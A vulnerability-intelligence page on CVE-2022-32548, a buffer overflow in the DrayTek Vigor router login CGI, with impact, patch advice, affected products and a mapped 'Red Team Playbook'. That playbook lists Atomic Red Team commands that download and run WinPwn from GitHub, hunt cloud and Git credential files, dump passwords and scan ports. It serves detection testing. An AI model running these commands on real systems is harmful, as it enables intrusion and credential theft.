CVE-2022-32548

CRITICAL POC TTE 424d Pub 29/08 Upd 03/08

Overview

This vulnerability is a stack-based buffer overflow in the authentication CGI endpoint of specific DrayTek Vigor routers. It arises from improper bounds checking on input parameters 'aa' and 'ab' within the /cgi-bin/wlogin.cgi script. The flaw affects the router's web login component, allowing crafted input to overwrite memory buffers.

Vulnerability Description

An issue was discovered on certain DrayTek Vigor routers before July 2022 such as the Vigor3910 before 4.3.1.1. /cgi-bin/wlogin.cgi has a buffer overflow via the username or password to the aa or ab field.

Impact

An unauthenticated attacker with network access to the router's web interface can exploit this buffer overflow to execute arbitrary code with elevated privileges. This can lead to full compromise of the device, including unauthorized configuration changes, data interception, or pivoting within the network. The vulnerability is exploitable remotely without user interaction, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N, making it critical in environments exposing the management interface externally.

Solution

DrayTek has released firmware updates addressing this vulnerability; affected models such as the Vigor3910 should be upgraded to version 4.3.1.1 or later. Detailed patch instructions and version-specific advisories are available via vendor communications and referenced security reports (e.g., https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/rce-in-dratyek-routers.html). Network administrators should apply these updates promptly to mitigate the risk.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability has been identified in certain models of DrayTek Vigor routers, specifically those prior to firmware version 4.3.1.1. This issue arises from a buffer overflow in the web interface, particularly within the login mechanism located at /cgi-bin/wlogin.cgi. The vulnerability is triggered when an attacker supplies excessively long input in the username or password fields, specifically targeting the 'aa' or 'ab' fields. This overflow can lead to arbitrary code execution, allowing an attacker to gain unauthorized access to the router's administrative functions or potentially execute malicious payloads.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could initiate a remote attack by sending specially crafted requests to the router's web interface. Given that many routers are often exposed to the internet, this vulnerability presents a significant risk, as it does not require physical access to the device. Additionally, if the attacker can successfully exploit the buffer overflow, they could manipulate the router's firmware, redirect traffic, or even launch further attacks on internal networks. Scenarios could include the installation of backdoors, interception of sensitive data, or the creation of botnets for distributed denial-of-service (DDoS) attacks.

The real-world impact of this vulnerability is substantial, particularly for businesses relying on these routers for network connectivity and security. Successful exploitation can lead to severe disruptions, data breaches, and loss of customer trust. Organizations may face regulatory penalties if sensitive data is compromised, especially in sectors that are heavily regulated. The financial implications can be significant, encompassing costs related to incident response, system recovery, and potential legal liabilities. Furthermore, the reputational damage can have long-lasting effects, deterring customers and partners from engaging with affected organizations.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating router firmware is essential to protect against known vulnerabilities; therefore, users should ensure that their DrayTek Vigor routers are running the latest versions. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, providing early warning signs of exploitation attempts. Additionally, organizations should consider implementing firewalls and intrusion detection systems to limit exposure to potential attackers. Educating staff about the importance of strong, unique passwords can also reduce the risk of exploitation through brute-force attacks.

In conclusion, the vulnerability present in certain DrayTek Vigor routers poses a significant threat to both individual users and organizations. The potential for remote exploitation through buffer overflow attacks highlights the need for robust security practices, including timely firmware updates and proactive network monitoring. By understanding the technical details, attack vectors, and potential impacts of this vulnerability, organizations can better prepare their defenses and mitigate the associated risks.

Affected Products (68)

Vendor Product Version CPE
draytek Draytek Vigor3910 Firmware All cpe:2.3:o:draytek:vigor3910_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor1000b Firmware All cpe:2.3:o:draytek:vigor1000b_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2962 Firmware All cpe:2.3:o:draytek:vigor2962_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2962p Firmware All cpe:2.3:o:draytek:vigor2962p_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2927 Firmware All cpe:2.3:o:draytek:vigor2927_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2927ax Firmware All cpe:2.3:o:draytek:vigor2927ax_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2927ac Firmware All cpe:2.3:o:draytek:vigor2927ac_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2927vac Firmware All cpe:2.3:o:draytek:vigor2927vac_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2927l Firmware All cpe:2.3:o:draytek:vigor2927l_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2927lac Firmware All cpe:2.3:o:draytek:vigor2927lac_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2915 Firmware All cpe:2.3:o:draytek:vigor2915_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2915ac Firmware All cpe:2.3:o:draytek:vigor2915ac_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2952 Firmware All cpe:2.3:o:draytek:vigor2952_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2952p Firmware All cpe:2.3:o:draytek:vigor2952p_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor3220 Firmware All cpe:2.3:o:draytek:vigor3220_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2926 Firmware All cpe:2.3:o:draytek:vigor2926_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2926n Firmware All cpe:2.3:o:draytek:vigor2926n_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2926ac Firmware All cpe:2.3:o:draytek:vigor2926ac_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2926vac Firmware All cpe:2.3:o:draytek:vigor2926vac_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2926l Firmware All cpe:2.3:o:draytek:vigor2926l_firmware:*:*:*:*:*:*:*:*
+48 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
MosaedH/CVE-2022-32548-RCE-POC
MosaedH 8 4 2023-10-27 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2023-10-27
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
55% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-14 Client-side Injection-induced Buffer Overflow
43%
Medium High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
43%
High High
CAPEC-100 Overflow Buffers
37%
High Very High
CAPEC-45 Buffer Overflow via Symbolic Links
36%
High High
CAPEC-44 Overflow Binary Resource File
36%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-32548
securityweek.com
GitHub CVE x_refsource_MISC
https://www.securityweek.com/smbs-exposed-attacks-critical-vulnerability-draytek-vigor-routers
trellix.com
GitHub CVE x_refsource_MISC
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/rce-in-dratyek-routers.html